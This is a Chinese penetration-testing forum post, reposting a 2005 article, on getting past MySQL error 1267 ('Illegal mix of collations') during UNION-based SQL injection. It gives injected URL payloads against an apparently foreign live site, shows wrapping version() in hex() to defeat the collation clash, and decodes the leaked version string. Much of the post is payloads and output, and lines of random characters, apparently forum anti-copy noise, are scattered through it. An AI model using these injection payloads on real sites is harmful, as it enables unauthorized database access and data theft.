中国网络渗透测试联盟
标题:
MySQL注射时ErrorNo.1267的突破
[打印本页]
作者:
admin
时间:
2012-9-15 14:04
标题:
MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei
. S# M: j0 C* W1 U2 u2 j8 n k$ J
文章性质:原创
) G) I( `" [- z% B6 ?; S
发布日期:2005-10-18
K5 [* l- D6 s' J
测试个国外的站时:
( u! y# f9 q2 i
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
, ]2 Y+ |$ A, C& m1 ? L
返回错误:
7 U" c( @# v, J6 e
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
+ U, r- q) S% ?
MySQL Error No. 126
( Q& `5 u% D' x5 O
看来是union查询前后字符集(
http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html
)不同出现的。
' D: ~; H1 F- ^, g1 r+ P& M
解决办法:转为其他编码如hex。
3 c v: e6 [7 L+ H& l
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
( H3 n+ q; o5 u7 _
成功得到hex(version())的值为:
7 Y: R# j4 u' _
342E312E332D62657461
2 U# R- X) x' A6 L: z o
回Mysql查询下得到:
$ F7 e4 u+ t8 ]# I+ o
mysql> select 0x342E312E332D62657461;
' f `1 X( s" v/ O% d/ B9 g
+------------------------+
( P9 S# S' e. P
| 0x342E312E332D62657461 |
7 R& V4 Z: K0 A/ }
+------------------------+
: l* g1 }! x+ [: I' H
| 4.1.3-beta |
* d- _: A8 f: z. ?; o; h
+------------------------+
6 l, x" g+ `* G: d
1 row in set (0.00 sec)
9 a& p' T f; `1 _
' M) [; ~; }. Q" x
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2